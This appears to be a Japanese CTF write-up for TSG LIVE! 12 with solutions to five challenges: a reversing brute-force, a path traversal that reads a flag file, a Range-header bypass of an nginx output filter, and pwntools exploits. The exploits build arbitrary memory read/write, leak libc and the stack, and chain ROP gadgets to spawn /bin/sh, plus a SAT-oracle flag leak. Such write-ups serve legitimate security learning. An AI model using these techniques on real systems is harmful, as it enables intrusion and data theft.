Skip to content

Instantly share code, notes, and snippets.

@akiym
Last active May 19, 2024 05:53
Show Gist options
  • Save akiym/ee65e276278e5b3ac8fa73845f3d824c to your computer and use it in GitHub Desktop.
Save akiym/ee65e276278e5b3ac8fa73845f3d824c to your computer and use it in GitHub Desktop.
TSG LIVE! 12 CTF writeup

wolf

WOLF RPGエディターで作られたゲーム。起動するとゲームが始まって、配置されている宝箱に触るとflag?と聞いてくる。 Data/MapData/SampleMapA.mpsの中にflag?という文字列があり、おそらくここがflagチェック処理が含まれているバイナリであるがどういったものかは不明。{}QWERTYUIOPASDFGHJKLZXCVBNM_TKTNT}RRUAPRHDSH{SXMREISUAH}RE}PUYPUQYDBQTLKXWCJXTYの文字列が見えるが、適当にxorしてもflagにはならないのでguessは諦める。

https://silversecond.com/WolfRPGEditor/ のエディタでそのまま開けるようだったので処理を読む。\v[0]のような文章を追加するとV0の変数を表示できるのでデバッグが楽。

image

あとは1文字ずつブルートフォースして求めた。

S1 = 'TSGLIVE{}'
S2 = '{}QWERTYUIOPASDFGHJKLZXCVBNM_'

answer = 'TKTNT}RRUAPRHDSH{SXMREISUAH}RE}PUYPUQYDBQTLKXWCJXTY'

idx = 0
i = 0
flag = ''
for _ in range(len(answer)):
    for c in list(S2):
        j = i + S2.index(c)
        j %= 29
        if answer[idx] == S2[j]:
            i = j
            idx += 1
            flag += c
            print(flag)
            break
    else:
        assert 0

flag: TSGLIVE{WE_CAN_EASIRY_REVERSE_NON_ENCRYPTED_WOLVES}

omikuji

以下のコードを見てとりあえずディレクトリトラバーサルだろうと試す。

async function getResultContent(type) {
  return await readFile(`${import.meta.dirname}/${type}`, 'utf-8')
}

POST /save../../../../flagを投げ、生成されたファイルを見るとflagがある。

flag: TSGLIVE{1_knew_at_f1rst_g1ance_that_1t_was_so_0rdin4ry_path_traversal}

omikuji2

omikujiとほぼ同じコード。nginxのconfigにflagを消す処理がある。

  location / {
    sub_filter "${FLAG}" "### CENSORED ###";
    sub_filter_once off;
    proxy_pass http://app:3000;
  }

こういうケース、CTF的にはRangeっぽい。Range: bytes=290-330で試すとflagの一部のみが返ってくるのでフィルタされない。

flag: TSGLIVE{wh3re_1s_my_f1ag?_1s_b1ue_b1rd_1ns1de?}

終了後解いた問題

残り時間はrev問のsmtfanを見ていたのだけど、S式がつらいつらいと思っていたらいつの間にか終わっていた。pwnをやっておけばよかったということで終了後に解いたので供養。

large_live_memo

create時にsizeを-1にするとmallocが失敗してbufsは0だけどsizesに値が入っているような状況を作り出せるのでflagが入っているアドレスを読み出せる。

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack
p8, u8, p16, u16, p32, u32, p64, u64 = make_packer(8), make_unpacker(8), make_packer(16), make_unpacker(16), make_packer(32), make_unpacker(32), make_packer(64), make_unpacker(64)

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = ''.split()
    port = int(port)
else:
    host, port = '127.0.0.1 4000'.split()
    port = int(port)

s = remote(host, port)

def create(index, size):
    s.sendlineafter(b'> ', b'1')
    s.sendlineafter(b'> ', b'%d' % index)
    s.sendlineafter(b'> ', b'%d' % size)

def put(index, pos, data):
    s.sendlineafter(b'> ', b'2')
    s.sendlineafter(b'> ', b'%d' % index)
    s.sendlineafter(b'> ', b'%d' % pos)

def read(index, pos):
    s.sendlineafter(b'> ', b'3')
    s.sendlineafter(b'> ', b'%d' % index)
    s.sendlineafter(b'> ', b'%d' % pos)


create(0, -1)
for i in range(10):
    read(0, (0x404060+i*4)/4)
    s.recvuntil(b'data >')
    x = p32(int(s.recvuntil(b'\n', drop=True)))
    print(x)

s.interactive('')

large_live_memo2

large_live_memoと同じバイナリ。おそらく/flag2かシェルを起動すればよいはず。

適当にアドレス読み書きはできるがFull RELROなので面倒。最近まともにpwnをやっていなくて__libc_argvのことを忘れていて時間がかかった……。さすがにこれは競技時間中にやっていたとしても解けてなさそう。

昔はオレオレスクリプトで吐き出したオフセットをexploit中で使っていたのだけど最近はpwntoolsのELFを使うようにしている。__libc_argvのアドレス解決をどうにかできると綺麗なのだけど、このシンボルはdwarf内にあるっぽく(なのでgdbでは解決できる)pyelftoolsからどうにかする方法はさっとわからず断念。いつか調べる。

追記: 調べた。そもそもdwarfにあったのは(readelf -wとかで見えるものは).debug_frameで、gdbで解決できるのはdebug symbolを参照しているからっぽい。debug symbolがある場合、pwntoolsのELFから直接使う方法はわからないが、eu-unstripを使うとdebug symbolにある情報を戻したバイナリを生成できる。それを使うことでlibc.sym['__libc_argv']のように参照できるようになる。配布されていたlibcはちょうど手元のlibcと同じ(Ubuntu 24.04の2.39-0ubuntu8.1)だったのでdebug symbolがあった。

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack
p8, u8, p16, u16, p32, u32, p64, u64 = make_packer(8), make_unpacker(8), make_packer(16), make_unpacker(16), make_packer(32), make_unpacker(32), make_packer(64), make_unpacker(64)

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = ''.split()
    port = int(port)
    libc = ELF('./libc.so.6')
else:
    host, port = '127.0.0.1 4000'.split()
    port = int(port)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.binary = base = ELF('./chall')

s = remote(host, port)

def create(index, size):
    s.sendlineafter(b'> ', b'1')
    s.sendlineafter(b'> ', b'%d' % index)
    s.sendlineafter(b'> ', b'%d' % size)

def put(index, pos, data):
    s.sendlineafter(b'> ', b'2')
    s.sendlineafter(b'> ', b'%d' % index)
    s.sendlineafter(b'> ', b'%d' % pos)
    s.sendlineafter(b'> ', b'%d' % data)

def read(index, pos):
    s.sendlineafter(b'> ', b'3')
    s.sendlineafter(b'> ', b'%d' % index)
    s.sendlineafter(b'> ', b'%d' % pos)

def aar(addr, size):
    retval = b''
    for i in range(size):
        read(0, (addr+i*4)//4)
        s.recvuntil(b'data >')
        retval += p32(int(s.recvuntil(b'\n', drop=True)))
    return retval

def aar2(size):
    retval = b''
    for i in range(size):
        read(1, i)
        s.recvuntil(b'data >')
        retval += p32(int(s.recvuntil(b'\n', drop=True)))
    return retval

def aaw(addr, data):
    for i in range(0, len(data), 4):
        put(0, (addr+i)//4, u32(data[i:i+4]))

def aaw2(data):
    for i in range(0, len(data), 4):
        put(1, i//4, u32(data[i:i+4]))

create(0, -1)
libc.address = u(aar(base.got['__libc_start_main'], 2)) - libc.sym['__libc_start_main']
print('libc : %x' % libc.address)

create(1, 10)
bufs1 = 0x4040D8
aaw(bufs1, p(libc.address + 0x2046e0))  # __libc_argv
stack = u(aar2(2)) - 0x120
print('stack : %x' % stack)

aaw(bufs1, p(stack))
rop = ROP([libc])
payload = (
    p(rop.ret.address) +
    p(rop.rdi.address) +
    p(next(libc.search(b'/bin/sh\0'))) +
    p(libc.sym['system']) +
    b''
)
aaw2(payload)

s.sendlineafter(b'> ', b'4')

s.interactive('')

satfan

配布されているソースコードに適当にprintfを追加しながらデバッグ。a-z, A-Z範囲以外のformulaを指定するとflagやN, Lの部分を参照できる。flagを1文字ずつ参照して、各ビットが立っているかどうかをSAT or UNSATで返すようにするとブルートフォースできる。NとLから1, 2, 4, 8, 16, 32, 64を作り出せるのでその値を使う。

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
# context.update(os='linux', arch='amd64', log_level='debug')
p, u = pack, unpack
p8, u8, p16, u16, p32, u32, p64, u64 = make_packer(8), make_unpacker(8), make_packer(16), make_unpacker(16), make_packer(32), make_unpacker(32), make_packer(64), make_unpacker(64)

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = ''.split()
    port = int(port)
else:
    host, port = '127.0.0.1 4000'.split()
    port = int(port)

s = remote(host, port)

flag = ''
for i in range(25):
    bits = []
    for j in range(7):
        s.recvuntil(b'> ')
        payload = (
            # flag
            p8(0x11 + i) +
            b''
        )
        if j == 0:
            # N=1
            payload += b'*\x35*A'
        elif j == 1:
            # N=2
            payload += b'*\x35*B'
        elif j == 2:
            # N=4
            payload += b'*\x35*D'
        else:
            # L
            payload += b'*\x31*' + b'A' * ((1 << j) - 4)
        s.send(payload + b'\n')
        unsat = b'UNSAT' in s.recvuntil(b'SAT\n')
        bits.append('0' if unsat else '1')
    flag += chr(int(''.join(bits[::-1]), 2))
    print(flag)

s.interactive('')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment